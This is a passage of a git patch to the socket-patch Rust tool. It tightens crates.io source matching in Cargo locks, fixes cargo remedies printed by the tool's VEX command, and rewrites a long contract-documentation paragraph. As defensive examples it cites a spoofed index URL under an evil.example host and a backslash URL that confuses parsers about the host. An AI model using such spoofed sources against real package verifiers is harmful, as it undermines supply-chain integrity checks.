From 7acd65c6641691d4e4c6f437414dff25b40c828c Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Wed, 18 Nov 2026 12:46:12 -0500 Subject: [PATCH] Read crates.io lock sources by one rule; fix two Cargo VEX remedies Whether a Cargo.lock `source` is crates.io was decided in four places by three rules. `CargoLock::entries` used a substring test, so a source such as `sparse+https://index.crates.io.evil.example/` was recorded as crates.io and given a crates.io checksum verifier (#1933). `formats::cargo` now holds both rules. `is_crates_io_source` answers for a lock `source`: the git index behind `registry+` or the sparse index behind `sparse+`, compared as whole URLs the way cargo's `CanonicalUrl` does. `is_crates_io_patch_table` answers for a `[patch.]` key: `crates-io` or the git-index URL, the only spellings cargo applies to crates.io (checked with cargo 1.98). It was a second `is_crates_io_source` in `vendor::cargo_manifest`. Two remedies `vex` prints for a vendored copy the build bypasses were wrong (#2045 items 2 and 3; item 1 was fixed by #2052): - `cargo update -p ` and `cargo tree -i @` are refused by cargo as ambiguous, because the lock also holds the copy at `+socket.` and cargo leaves build metadata out when it matches a spec. The commands now name the entry by its source, `"#@"`. A source, name or version with a character a shell reads inside double quotes is not printed. - A stale entry locked from another registry was not recognised as stale when a `[patch]` table for that registry points at the copy, by its index URL or by the name the project config defines for it. The hosted override check keeps reading `[patch."sparse+https:// index.crates.io/"]` as a crates.io override, which is wider than cargo's reading and now says so. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/CLI_CONTRACT.md | 2 +- .../src/formats/cargo/mod.rs | 183 ++++++++++- .../src/patch/redirect/mod.rs | 27 +- .../src/patch/redirect/upstream/cargo.rs | 6 +- crates/socket-patch-core/src/vendor/cargo.rs | 8 +- .../src/vendor/cargo_manifest.rs | 30 +- .../src/vex/discover/cargo.rs | 295 +++++++++++++++--- 7 files changed, 462 insertions(+), 89 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index b5fef7b48..01259494d 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -709,7 +709,7 @@ Recognition rules that hold for every ecosystem: * **Patch hosts.** A hosted reference counts only on `https://patch.socket.dev` or the `--patch-server-url` / `SOCKET_PATCH_SERVER_URL` origin, with no userinfo. The URL must be one every client reads alike: a backslash, whitespace or a control character anywhere in it (after the lock format's own `\/` unescape and the trim of surrounding whitespace) makes it no reference, because URL parsers disagree about the host of a URL such as `https://patch.socket.dev\@evil.example/…`. Its path must be one the patch server serves a patch under: `patch//…`, `patch-registry//…` (`` one of `npm`, `pypi`, `cargo`, `golang`, `gem`, `composer`, `maven`, `nuget`) or `gopatch/…`, first in the path on Socket's own server and under any path prefix on a `--patch-server-url` deployment, with no percent-encoded `/` or `\` (`%2f`, `%5c`) anywhere in it. The uuid is the LAST canonical-uuid segment below that level, because grant tokens may themselves be uuid-shaped. A URL on a patch host that fails these rules is not a hosted pin (`vex` does not attest it; `list`, `rollback`, `remove` and `scan` do not manage it, and a hosted `scan` does not write one), but a uuid in its path still counts as *mentioned* for the liveness gates below, so no ledger record is revived from it. The Go module prefix is fixed. `socket-patch-` registry / repository / source names count only through a pin. For a URL on any other host, see **Patch hosts** above. * **Pins, not definitions.** A registry, index or source *definition* alone (cargo `[registries]`, nuget ``, pom ``, uv index tables, `.npmrc`) never makes a reference, because it survives a reverted pin. Sections the package manager ignores are not read: npm's v2 `dependencies` mirror, a `.cargo/config.toml` shadowed by `.cargo/config`. A Socket pin inside a maven `` is diagnosed, never a reference. * **Contested locks.** When one lock wires a package to a patch and another lock resolves the same `name@version` from a non-Socket source, the build's bytes depend on which package manager runs. The reference is then dropped with a `patched_ref_unattributable` diagnostic naming both files. This applies across npm / pnpm / yarn / bun and across uv / pylock / poetry / pdm / Pipfile.lock / requirements. A PEP 723 script lock is a lock like the others: `uv run` installs its script's dependencies from it, so a script lock that resolves the release from the index contests a project lock's reference and the reverse (both writers rewire script locks, so a re-run clears it). A Python lock also contests itself: another entry of the **same** `uv.lock`, script lock, `pylock*.toml`, `poetry.lock`, `pdm.lock` or `Pipfile.lock` that resolves the wired release from a non-Socket source (a uv marker fork, a Poetry multiple-constraint dependency, a PEP 751 marker split, a PDM extras variant, the other `Pipfile.lock` category) is installed wherever its markers, extras or category select it, so the reference is withheld until `scan` / `vendor` rewires every entry. Requirements and `pyproject.toml` / `hatch.toml` declarations are not lock entries, and a Socket reference there is withheld (`patched_ref_unattributable`, naming the other requirement) while another requirement of the same package can install the same release where the reference does not apply: beside a reference that carries an environment marker, any requirement of the set that is not an exact pin of another release; beside a reference in an extra, a dependency group or a Hatch environment, any requirement of the package in `[project].dependencies` (which `pip install .` reads), or an exact pin of the release in any table not installed together with the reference. A reference and a compatible requirement that pip resolves together (one requirement set, or `[project].dependencies` with the project's extras) resolve to the reference, so an unmarked reference is not contested there. The root `requirements.txt` and its in-root `-r` includes count as one lock here: pip reads them as one requirement set, where a direct reference wins over a compatible `==` pin of the same version in another file of the set (#1086). A PyPI version matches under PEP 440 equality, so a requirements line pinned in any spelling that can only install the wired release (`==1.2.3.0`, `==v1.2.3`, `===1.2.3`) contests it like `==1.2.3` does; a range or wildcard (`~=1.2.3`, `==1.2.*`) does not (#1602). A **bundled** npm copy (`inBundle: true`, or v1 `bundled: true`, beneath a dependency that bundles it; the root project's own bundles install from the lock, #1618) of the same `name@version` contests the reference too, in the same lock, in the other npm lock of a shrinkwrap/package-lock pair, or in any other lock. npm unpacks it from the parent package's tarball, so no rewire reaches it and it stays unpatched. Bun and vlt unpack bundled copies the same way (#469, #471). pnpm unpacks bundled copies too, but its lock cannot tie one to a reference (see **Unattested references** below). For Bun, that is a `bun.lock` entry whose meta is `{ "bundled": true }`, or a `bun.lockb` record that a dependency edge with the `bundled` behavior bit reaches, including one Bun shares with a regular install. Such an entry is never a reference, and it contests the reference the same way. For vlt, the lock records no node for a bundled copy, so the copy is found in the installed store: a real package directory inside a store package's own `node_modules`. yarn classic's `yarn.lock` records nothing about bundled copies either (#758), so for a lock with a Socket wiring they are found in the installed `node_modules`: each package a parent's `bundleDependencies` / `bundledDependencies` names inside the parent's own `node_modules`, the dependencies of those beside them, and everything nested under them. Such a copy contests the reference in `yarn.lock` (the diagnostic names the parent's lock entry and the copy's directory); a lock-only `vex` with no `node_modules` can't see it. Hosted and vendored scans skip these copies with `redirect_bun_bundled_instance_skipped` / `redirect_vlt_bundled_instance_skipped` / `vendor_bundled_instance_skipped`, and a yarn classic hosted scan names one with `redirect_copy_unpatched`. When a bundled copy is the only instance, vendoring refuses with `vendor_lock_entry_not_rewritable`. A reference withheld only because such an unreachable copy installs beside it (a bundled npm / Bun / vlt copy, an npm copy beneath a `hasShrinkwrap` package (#753) or one npm installs from a git / url / `file:` spec, or a yarn classic git or `file:` directory block of the same `name@version`) is still the rewriter's own wiring of exactly one package version: it is never attested, but `rollback`, `remove`, `list` and the hosted → vendored takeover treat it as an ordinary hosted pin and restore its upstream registry entry (#828), rather than refusing it with `hosted_wiring_contested`. Another entry of the **same** npm, Bun or yarn lock that resolves the wired `name@version` from a non-Socket source (for example a workspace member added after the rewire, then `npm install` / `bun install` / `yarn install`; for yarn berry, a registry locator such as `left-pad@npm:1.3.0` beside the hosted `…::__archiveUrl=` one) contests the reference too (#588). The package manager installs both entries, and that copy stays unpatched. Re-running `scan` / `vendor` rewires every copy. -* **Unattested references.** Some evidence shows a build may run a copy no wiring reaches, but cannot be tied to the reference's exact `name@version` or cannot say the build runs it. The reference then stays a reference: `list`, `rollback` and `remove` find it, and the ledgers' liveness gates (`vendor --check`, `scan`) keep treating the wiring as live, because re-running `scan` / `vendor` could never clear the evidence. Only `vex` omits it, as a run warning and as the `failed[].reason`. Thirteen cases besides Gradle's (`vex_gradle_lock_above_base`) and NuGet's (`vex_nuget_lock_other_version`, see the table above); one of them, a vendored pin in a lock the package manager is told not to read (`vex_lock_not_read`), has its own bullet below; another, **hosted sbt pins a build bypasses** (`vex_sbt_pin_bypassed`), is under **Hosted sbt** above: **pnpm bundled copies** (`vex_pnpm_bundled_copy`): a `packages:` entry's `bundledDependencies:` names the copies pnpm unpacks from that package's own tarball, but pnpm never locks them, so the bundled version is not in the lock. A pnpm reference whose package name a `bundledDependencies` list in the same lock names is omitted whatever its version (a missed attestation when the bundled copy is another version, never a false one), and `bundledDependencies: true` (or a value that cannot be read) omits every reference of that lock. It reaches no other lock. **deno.lock** (`vex_deno_lock_copy`): `deno install` installs a `package.json` project's npm dependencies from `deno.lock` and never reads `package-lock.json` / `pnpm-lock.yaml` / `yarn.lock`, so an npm-family reference whose `name@version` the `deno.lock` npm section also locks is omitted (#406). Whether Deno or another package manager populates `node_modules` (`nodeModulesDir: "manual"` allows either) is not in the files, so this holds whatever `nodeModulesDir` says. **Maven reactor roots** (`vex_maven_reactor_root`): a hosted pin in a root `pom.xml` that declares `` / ``, or whose subprojects Maven 4 discovers (see the hosted Maven rewriter), is omitted, because a module's own literal `` overrides a root pin and module poms are not read (#261); hosted scan refuses such roots (`redirect_maven_multimodule_unsupported`), so this only covers pins an older release wrote. **Maven classifier copies** (`vex_maven_classifier_unpatched`): a `` dependency of a hosted-pinned GA (or one whose `` implies a classifier or carries code, such as `test-jar`) is its own coordinate; the classifier-less pin does not retarget it and the grant serves only the main jar, so Maven fetches it from the next repository. When a classifier copy other than `sources` / `javadoc` (`tests`, a native or JDK-specific build), live or inside ``, resolves any version other than the suffixed pin — its own literal ``, a `` entry with the same classifier (a profile's overriding the live one), or no version in the root pom — the pin is omitted. A pre-v5 single-pom vendored repository holds only the main jar, so any such copy omits its reference. `sources` / `javadoc` copies never run on a classpath and do not withhold the statement; hosted scan only warns about them (`redirect_maven_classifier_unsupported`) and skips the dep, writing nothing, when an executable copy may resolve anything but the suffixed pin (so it never writes a pin this rule withholds). **Maven profile declarations** (`vex_maven_profile_unpatched`): a `` declaration of a pinned GA's main jar in the root `pom.xml` at any version other than the pin (the base release, another release, a `${property}` the pom does not resolve) overrides the pin whenever that profile is active, so the reference is omitted. A profile `` entry always counts; a profile `` entry counts only when management governs the pin (no direct `` outside ``), since a direct literal version beats management. A declaration without a `` takes the live pin, and a `pom` (or `java-source` / `javadoc`) typed one carries no code; neither withholds the statement. Activation is not evaluated: every profile counts, as in vendored mode, which rewrites profile declarations too; hosted scan leaves them as written and writes no pin they bypass (`redirect_maven_profile_dependency_unpatched`). A pin spelled through a property counts the same way: a `${property}` `` is interpolated through every property it names, the project's own `${project.version}` included (itself often spelled through `${revision}`), at most 16 levels deep (a cycle or an undefined name never resolves to a pin), and when any profile's `` — or any combination of profiles' together, each nested reference read with that combination active, as the vendored planner weighs them too — redefine one of those properties so that it resolves anything other than the pin (or nothing), the reference is omitted too; a `.mvn/maven.config` user property wins over every profile's. A profile declaration reads its own profile's `` first. When more than 8 profiles may change such a version, or a profile's `` cannot be parsed, the reference is omitted (fail closed); the rest of the pom is still read. One pom's `${property}` texts are also given a fixed amount of interpolation in all (about four million property lookups, which a pom reaches only with thousands of different texts that each take hundreds of lookups under many profile combinations); a `${property}` read after that counts as unresolved, the same fail-closed way. The statement names the profiles that move the pin and the version they move it to. Coordinates count the same way: when a profile's `` (or several profiles' together, or the profile holding the declaration) redefine a property a `${property}` `` / `` names, so that the declaration carrying the pin names another package (the pin then no longer applies to the patched GA) or another declaration names the patched GA (its main jar, or an executable classifier copy) at a version other than the pin, or as a classifier copy with no version of its own, the reference is omitted; a profile value the pom cannot resolve may name any package, a user property wins over every profile's, and the same 8-profile and unreadable-profile limits fail closed. Each such reading is weighed like a declaration of its own: a retargeted classifier copy (a `test-jar` is the `tests` copy; an explicit `` names the copy whatever the type) by the classifier rule (`vex_maven_classifier_unpatched`, so a pre-v5 vendored repository, which serves only the main jar, is bypassed even at the vendored version), any other non-`jar` type not at all, and a reading that moves the coordinates and the version onto the pin together does not withhold the statement. Hosted scan refuses such a dep (`redirect_maven_profile_coordinates_unpatched`), and vendored mode leaves the declaration as written and does not pin its root (`coordinates_overridden`), except a retargeted classifier copy, which it reports as `classifier_declared` with the root still pinned. The same holds for a pre-v5 single-pom vendored repository, which serves only the original version. **Maven parent poms** (`vex_maven_parent_declares`): a pin that only the root pom's `` carries, for a package the root pom does not declare in its own `` (what hosted scan adds for a dependency with no literal ``), governs the declaration the build inherits. Maven merges a parent pom's `` into the child, and management fills in only a dependency that declares no version (Maven 3.9.16: with the parent declaring the package at a literal version the build resolves the upstream jar and never asks for the patched version). The parent chain is followed through the checkout (``, default `../pom.xml`, when the pom there is the parent the reference names). When a parent pom, one above it, or a profile of either declares the package with a version, the reference is omitted, naming that pom; declare the package in the root pom with no `` (its own declaration replaces the inherited one and the pin governs it) or drop the version from the parent's declaration. The nearest parent declaring it with no version, or a chain read to a pom with no `` that never declares it, leaves the pin attested. A parent that cannot be read (`` or no pom at the relative path, so Maven resolves it from a repository; a pom outside the git checkout; one that does not parse) may declare it either way, so the reference then attests only from the installed copy of the patched version (`-socket.` in the local repository, hash-verified) and is `package_not_found` until a build has resolved it. A pin on the root pom's own declaration, or one governing a declaration the root pom makes with no version, is not weighed against any parent. **Maven user properties** (`vex_maven_config_override`): Maven resolves a `${property}` `` from `.mvn/maven.config`'s `-D` user properties before the pom's `` (`${project.*}` / `${pom.*}` always come from the model). A pin the pom spells through a property that `.mvn/maven.config` redefines resolves that other version, so the reference is omitted. A Socket version that only a `-D` user property supplies is not `pom.xml` wiring (hosted scan never writes one, and `rollback` / `remove` never edit `.mvn/maven.config`): it is no reference at all, only a diagnostic. **pnpm branch locks** (`vex_pnpm_git_branch_lockfile`): with `gitBranchLockfile` on, pnpm installs a git branch from its own `pnpm-lock..yaml` (the **pnpm per-branch locks** state above), which no wiring reaches. `vex` does not decide whether the setting is on: the presence of any branch lock (at the root, or in a workspace member that installs from its own lock under `sharedWorkspaceLockfile: false`, read from the project's files and never from the environment) omits every reference of the root pnpm lock (`pnpm-lock.yaml`, or `shrinkwrap.yaml` without it) and of each member's own lock, hosted and vendored alike, whatever `gitBranchLockfile` or pnpm's `lockfile` setting says (#556; deterministic and fail-closed). This is checked only when a root or member pnpm lock wires a patch. Hosted mode refuses every pnpm pin when the setting is on and vendored mode refuses the project, so this also covers wiring written before the branch lock appeared. The run warning names the branch lock in the marked lock's own directory. Rush locks are not affected. **Self-patched npm and Bun packages** (`vex_npm_patched_dependency`): a reference in `package-lock.json` / `npm-shrinkwrap.json` / `bun.lock` / `bun.lockb` to a package the project patches itself is omitted, by the hosted rewriters' own per-dependency rule (`redirect_npm_patched_dependency_skipped`, #711; `redirect_bun_patched_dependency_skipped`, #367): a root `package.json` `patchedDependencies` key for its `name@version`, its bare name, or `name@` of any tarball (npm and Bun alike); for npm also a non-null `patched` record on any present npm lock's entry for that `name@version`; for `bun.lock` also the keys it mirrors (the run warning then names `bun.lock` as the key's source). npm applies the user's diff on top of whatever tarball the lock names and Bun applies it only to the resolution it is keyed on, so both modes leave such a package unwired; this covers pins an earlier release wrote, and an npm one fails `npm ci` with `EPATCHFAILED` until `socket-patch rollback ` restores the registry entry (the remedy says so). A key naming the pinned tarball itself (a patch made on top of the pin) is no conflict for the hosted rewriters, which keep the pin, but the reference is omitted all the same: the user's diff runs over the Socket bytes, never the Socket patch alone; a reference with neither a hosted url nor a vendored tarball is matched by its `name@version` and counts every tarball key. Only a reference that survives the lock contests carries this reason. **Packages patched with pnpm, Yarn or patch-package** (`vex_npm_patched_dependency` too): a reference of any npm-family lock (pnpm, Rush, yarn classic and berry, vlt, npm, Bun; hosted or vendored) to a `name@version` the project patches itself is omitted, read from the project, its declared workspace members and (on disk) the ancestor workspace settings up to the git repository root, by the consent gate's own walk: pnpm's `patchedDependencies` (`package.json`'s `pnpm.patchedDependencies`, `pnpm-workspace.yaml`'s `patchedDependencies`, and the `patchedDependencies` map or a `(patch_hash=…)` key suffix in the reference's own pnpm lock or the root one), a yarn berry `patch:` descriptor outside Yarn's builtin compatibility patches (`package.json`'s dependency maps and `resolutions`, or a `patch:` locator `yarn.lock` resolves, including one wrapping the hosted tarball), or a patch-package file (`patches/+.patch`, or under a `--patch-dir` a `package.json` script names; it counts for every version of ``, since patch-package applies it to whichever version is installed). A key's version may be exact, a range or absent (every version), and metadata that cannot be read (an unparseable `package.json`, a `--patch-dir` the script computes) omits every npm reference. This is the `user_patch_conflict` consent gate's evidence (see [Existing project patches](#existing-project-patches)) minus native npm / Bun and the other ecosystems, and the evidence the in-memory hosted engine withholds a package by. The package manager (or the postinstall) applies the user's diff on top of whatever tarball the lock names, so the install never runs the Socket patch alone: the reference is omitted even when an `--allow-patch-conflicts` run wired it, for as long as the patch is declared. Yarn classic and vlt have no patch mechanism of their own (vlt's `vlt.json` `modifiers` rewrite specs, not contents), so patch-package is what is read for them. npm's and Bun's own top-level `patchedDependencies` are judged by the rule above, not here. **Go workspaces** (`go_workspace_override`): a hosted or vendored Go `replace` that the workspace go resolves (an ancestor's `go.work`, one `GOWORK` names, members outside the project included) overrides, ignores or rejects, by the same check hosted and vendored modes run before writing one (`redirect_golang_workspace_conflict`, `vendor_go_workspace_conflict`), is omitted under the reason `vex`'s own go.mod gate reports. So is a replace in the root `go.work` while go builds another one. **Unpinned Cargo declarations** (`vex_cargo_unpinned_declaration`): cargo resolves each source on its own, so when one declaration of a crate pins it to `socket-patch-` but another — the root `Cargo.toml`'s or a workspace member's, read as hosted scan reads them — is not pinned, with a version requirement that may select the locked patched version, that declaration builds a separate, unpatched copy, possibly of the very version the pin covers. Not pinned means crates.io or another registry that no Socket `[patch.]` registry entry redirects, a `registry-index`, a path or git — the last three even beside `registry = "socket-patch-"`, which they override (hosted scan's own pinned check). The `Cargo.lock` reference is omitted, naming the unpinned declaration's manifest. Hosted scan pins every declaration, so this is a partial revert or a hand edit; the warning says whether re-running `scan` pins it again (a crates.io declaration whose requirement matches no other locked version of the crate) or cannot (`redirect_cargo_toml_dep_unrewritable`: roll the patch back or change the declaration). A declaration whose requirement excludes the patched version (cargo resolves it to another version), and a `[workspace.dependencies]` entry no manifest inherits, do not withhold the statement. When the lock already holds a same-version copy from another source, the reference is withheld as an unpatched lock copy instead. A declaration pinned to ANOTHER Socket patch, which the lock does not resolve the crate from, adds that patch's `Cargo.toml` reference, so the package is gated as `wiring_conflict`. **Vendored Cargo copies a `[patch]` does not reach** (`vex_cargo_patch_bypassed`): a `[patch.]` entry replaces the crate only in declarations from ``, and `vendor` writes `[patch.crates-io]`. So a vendored reference is omitted when a live declaration of the crate (the root `Cargo.toml`'s or a workspace member's) names another registry, a `registry-index` or a git repository, with a version requirement that may select the patched version, unless a `[patch]` table for its source points at the same copy (`[patch.]` for a registry dependency, `[patch.""]` for a `registry-index` one, `[patch.""]` for a git one; URLs compare as cargo canonicalizes them: the host's case, a lock's `registry+` prefix, one trailing `/` and a `.git` suffix ignored, a GitHub URL case-insensitive, a `sparse+` index another source than the git one, and the crates.io git index is crates.io); cargo builds that declaration's own, unpatched copy. Workspace members are read for this whenever the root manifest or the project cargo config wires a Socket copy through `[patch]`, whatever the lock says. It is also omitted when `Cargo.lock` locks the crate at exactly the patched version from any source (a registry, crates.io included, or git) beside the vendored copy; the warning names that lock entry. A path declaration (the user's own fork) does not withhold the statement. Only `[patch]` entries cargo honors count: a manifest entry the project config or a crates.io URL table replaces covers nothing. The warning ends with the remedy for its evidence: for a declaration, re-running `vendor` does not help (declare the crate from crates.io there, point a `[patch]` table for its source at the copy, or roll the patch back); for a stale lock entry a `[patch]` table at the copy redirects (crates.io under `[patch.crates-io]`, or a git repository under its own table), re-lock (`cargo update -p `, or re-run `vendor` for crates.io); for another lock entry, `cargo tree -i @` names the dependency that declares it. +* **Unattested references.** Some evidence shows a build may run a copy no wiring reaches, but cannot be tied to the reference's exact `name@version` or cannot say the build runs it. The reference then stays a reference: `list`, `rollback` and `remove` find it, and the ledgers' liveness gates (`vendor --check`, `scan`) keep treating the wiring as live, because re-running `scan` / `vendor` could never clear the evidence. Only `vex` omits it, as a run warning and as the `failed[].reason`. Thirteen cases besides Gradle's (`vex_gradle_lock_above_base`) and NuGet's (`vex_nuget_lock_other_version`, see the table above); one of them, a vendored pin in a lock the package manager is told not to read (`vex_lock_not_read`), has its own bullet below; another, **hosted sbt pins a build bypasses** (`vex_sbt_pin_bypassed`), is under **Hosted sbt** above: **pnpm bundled copies** (`vex_pnpm_bundled_copy`): a `packages:` entry's `bundledDependencies:` names the copies pnpm unpacks from that package's own tarball, but pnpm never locks them, so the bundled version is not in the lock. A pnpm reference whose package name a `bundledDependencies` list in the same lock names is omitted whatever its version (a missed attestation when the bundled copy is another version, never a false one), and `bundledDependencies: true` (or a value that cannot be read) omits every reference of that lock. It reaches no other lock. **deno.lock** (`vex_deno_lock_copy`): `deno install` installs a `package.json` project's npm dependencies from `deno.lock` and never reads `package-lock.json` / `pnpm-lock.yaml` / `yarn.lock`, so an npm-family reference whose `name@version` the `deno.lock` npm section also locks is omitted (#406). Whether Deno or another package manager populates `node_modules` (`nodeModulesDir: "manual"` allows either) is not in the files, so this holds whatever `nodeModulesDir` says. **Maven reactor roots** (`vex_maven_reactor_root`): a hosted pin in a root `pom.xml` that declares `` / ``, or whose subprojects Maven 4 discovers (see the hosted Maven rewriter), is omitted, because a module's own literal `` overrides a root pin and module poms are not read (#261); hosted scan refuses such roots (`redirect_maven_multimodule_unsupported`), so this only covers pins an older release wrote. **Maven classifier copies** (`vex_maven_classifier_unpatched`): a `` dependency of a hosted-pinned GA (or one whose `` implies a classifier or carries code, such as `test-jar`) is its own coordinate; the classifier-less pin does not retarget it and the grant serves only the main jar, so Maven fetches it from the next repository. When a classifier copy other than `sources` / `javadoc` (`tests`, a native or JDK-specific build), live or inside ``, resolves any version other than the suffixed pin — its own literal ``, a `` entry with the same classifier (a profile's overriding the live one), or no version in the root pom — the pin is omitted. A pre-v5 single-pom vendored repository holds only the main jar, so any such copy omits its reference. `sources` / `javadoc` copies never run on a classpath and do not withhold the statement; hosted scan only warns about them (`redirect_maven_classifier_unsupported`) and skips the dep, writing nothing, when an executable copy may resolve anything but the suffixed pin (so it never writes a pin this rule withholds). **Maven profile declarations** (`vex_maven_profile_unpatched`): a `` declaration of a pinned GA's main jar in the root `pom.xml` at any version other than the pin (the base release, another release, a `${property}` the pom does not resolve) overrides the pin whenever that profile is active, so the reference is omitted. A profile `` entry always counts; a profile `` entry counts only when management governs the pin (no direct `` outside ``), since a direct literal version beats management. A declaration without a `` takes the live pin, and a `pom` (or `java-source` / `javadoc`) typed one carries no code; neither withholds the statement. Activation is not evaluated: every profile counts, as in vendored mode, which rewrites profile declarations too; hosted scan leaves them as written and writes no pin they bypass (`redirect_maven_profile_dependency_unpatched`). A pin spelled through a property counts the same way: a `${property}` `` is interpolated through every property it names, the project's own `${project.version}` included (itself often spelled through `${revision}`), at most 16 levels deep (a cycle or an undefined name never resolves to a pin), and when any profile's `` — or any combination of profiles' together, each nested reference read with that combination active, as the vendored planner weighs them too — redefine one of those properties so that it resolves anything other than the pin (or nothing), the reference is omitted too; a `.mvn/maven.config` user property wins over every profile's. A profile declaration reads its own profile's `` first. When more than 8 profiles may change such a version, or a profile's `` cannot be parsed, the reference is omitted (fail closed); the rest of the pom is still read. One pom's `${property}` texts are also given a fixed amount of interpolation in all (about four million property lookups, which a pom reaches only with thousands of different texts that each take hundreds of lookups under many profile combinations); a `${property}` read after that counts as unresolved, the same fail-closed way. The statement names the profiles that move the pin and the version they move it to. Coordinates count the same way: when a profile's `` (or several profiles' together, or the profile holding the declaration) redefine a property a `${property}` `` / `` names, so that the declaration carrying the pin names another package (the pin then no longer applies to the patched GA) or another declaration names the patched GA (its main jar, or an executable classifier copy) at a version other than the pin, or as a classifier copy with no version of its own, the reference is omitted; a profile value the pom cannot resolve may name any package, a user property wins over every profile's, and the same 8-profile and unreadable-profile limits fail closed. Each such reading is weighed like a declaration of its own: a retargeted classifier copy (a `test-jar` is the `tests` copy; an explicit `` names the copy whatever the type) by the classifier rule (`vex_maven_classifier_unpatched`, so a pre-v5 vendored repository, which serves only the main jar, is bypassed even at the vendored version), any other non-`jar` type not at all, and a reading that moves the coordinates and the version onto the pin together does not withhold the statement. Hosted scan refuses such a dep (`redirect_maven_profile_coordinates_unpatched`), and vendored mode leaves the declaration as written and does not pin its root (`coordinates_overridden`), except a retargeted classifier copy, which it reports as `classifier_declared` with the root still pinned. The same holds for a pre-v5 single-pom vendored repository, which serves only the original version. **Maven parent poms** (`vex_maven_parent_declares`): a pin that only the root pom's `` carries, for a package the root pom does not declare in its own `` (what hosted scan adds for a dependency with no literal ``), governs the declaration the build inherits. Maven merges a parent pom's `` into the child, and management fills in only a dependency that declares no version (Maven 3.9.16: with the parent declaring the package at a literal version the build resolves the upstream jar and never asks for the patched version). The parent chain is followed through the checkout (``, default `../pom.xml`, when the pom there is the parent the reference names). When a parent pom, one above it, or a profile of either declares the package with a version, the reference is omitted, naming that pom; declare the package in the root pom with no `` (its own declaration replaces the inherited one and the pin governs it) or drop the version from the parent's declaration. The nearest parent declaring it with no version, or a chain read to a pom with no `` that never declares it, leaves the pin attested. A parent that cannot be read (`` or no pom at the relative path, so Maven resolves it from a repository; a pom outside the git checkout; one that does not parse) may declare it either way, so the reference then attests only from the installed copy of the patched version (`-socket.` in the local repository, hash-verified) and is `package_not_found` until a build has resolved it. A pin on the root pom's own declaration, or one governing a declaration the root pom makes with no version, is not weighed against any parent. **Maven user properties** (`vex_maven_config_override`): Maven resolves a `${property}` `` from `.mvn/maven.config`'s `-D` user properties before the pom's `` (`${project.*}` / `${pom.*}` always come from the model). A pin the pom spells through a property that `.mvn/maven.config` redefines resolves that other version, so the reference is omitted. A Socket version that only a `-D` user property supplies is not `pom.xml` wiring (hosted scan never writes one, and `rollback` / `remove` never edit `.mvn/maven.config`): it is no reference at all, only a diagnostic. **pnpm branch locks** (`vex_pnpm_git_branch_lockfile`): with `gitBranchLockfile` on, pnpm installs a git branch from its own `pnpm-lock..yaml` (the **pnpm per-branch locks** state above), which no wiring reaches. `vex` does not decide whether the setting is on: the presence of any branch lock (at the root, or in a workspace member that installs from its own lock under `sharedWorkspaceLockfile: false`, read from the project's files and never from the environment) omits every reference of the root pnpm lock (`pnpm-lock.yaml`, or `shrinkwrap.yaml` without it) and of each member's own lock, hosted and vendored alike, whatever `gitBranchLockfile` or pnpm's `lockfile` setting says (#556; deterministic and fail-closed). This is checked only when a root or member pnpm lock wires a patch. Hosted mode refuses every pnpm pin when the setting is on and vendored mode refuses the project, so this also covers wiring written before the branch lock appeared. The run warning names the branch lock in the marked lock's own directory. Rush locks are not affected. **Self-patched npm and Bun packages** (`vex_npm_patched_dependency`): a reference in `package-lock.json` / `npm-shrinkwrap.json` / `bun.lock` / `bun.lockb` to a package the project patches itself is omitted, by the hosted rewriters' own per-dependency rule (`redirect_npm_patched_dependency_skipped`, #711; `redirect_bun_patched_dependency_skipped`, #367): a root `package.json` `patchedDependencies` key for its `name@version`, its bare name, or `name@` of any tarball (npm and Bun alike); for npm also a non-null `patched` record on any present npm lock's entry for that `name@version`; for `bun.lock` also the keys it mirrors (the run warning then names `bun.lock` as the key's source). npm applies the user's diff on top of whatever tarball the lock names and Bun applies it only to the resolution it is keyed on, so both modes leave such a package unwired; this covers pins an earlier release wrote, and an npm one fails `npm ci` with `EPATCHFAILED` until `socket-patch rollback ` restores the registry entry (the remedy says so). A key naming the pinned tarball itself (a patch made on top of the pin) is no conflict for the hosted rewriters, which keep the pin, but the reference is omitted all the same: the user's diff runs over the Socket bytes, never the Socket patch alone; a reference with neither a hosted url nor a vendored tarball is matched by its `name@version` and counts every tarball key. Only a reference that survives the lock contests carries this reason. **Packages patched with pnpm, Yarn or patch-package** (`vex_npm_patched_dependency` too): a reference of any npm-family lock (pnpm, Rush, yarn classic and berry, vlt, npm, Bun; hosted or vendored) to a `name@version` the project patches itself is omitted, read from the project, its declared workspace members and (on disk) the ancestor workspace settings up to the git repository root, by the consent gate's own walk: pnpm's `patchedDependencies` (`package.json`'s `pnpm.patchedDependencies`, `pnpm-workspace.yaml`'s `patchedDependencies`, and the `patchedDependencies` map or a `(patch_hash=…)` key suffix in the reference's own pnpm lock or the root one), a yarn berry `patch:` descriptor outside Yarn's builtin compatibility patches (`package.json`'s dependency maps and `resolutions`, or a `patch:` locator `yarn.lock` resolves, including one wrapping the hosted tarball), or a patch-package file (`patches/+.patch`, or under a `--patch-dir` a `package.json` script names; it counts for every version of ``, since patch-package applies it to whichever version is installed). A key's version may be exact, a range or absent (every version), and metadata that cannot be read (an unparseable `package.json`, a `--patch-dir` the script computes) omits every npm reference. This is the `user_patch_conflict` consent gate's evidence (see [Existing project patches](#existing-project-patches)) minus native npm / Bun and the other ecosystems, and the evidence the in-memory hosted engine withholds a package by. The package manager (or the postinstall) applies the user's diff on top of whatever tarball the lock names, so the install never runs the Socket patch alone: the reference is omitted even when an `--allow-patch-conflicts` run wired it, for as long as the patch is declared. Yarn classic and vlt have no patch mechanism of their own (vlt's `vlt.json` `modifiers` rewrite specs, not contents), so patch-package is what is read for them. npm's and Bun's own top-level `patchedDependencies` are judged by the rule above, not here. **Go workspaces** (`go_workspace_override`): a hosted or vendored Go `replace` that the workspace go resolves (an ancestor's `go.work`, one `GOWORK` names, members outside the project included) overrides, ignores or rejects, by the same check hosted and vendored modes run before writing one (`redirect_golang_workspace_conflict`, `vendor_go_workspace_conflict`), is omitted under the reason `vex`'s own go.mod gate reports. So is a replace in the root `go.work` while go builds another one. **Unpinned Cargo declarations** (`vex_cargo_unpinned_declaration`): cargo resolves each source on its own, so when one declaration of a crate pins it to `socket-patch-` but another — the root `Cargo.toml`'s or a workspace member's, read as hosted scan reads them — is not pinned, with a version requirement 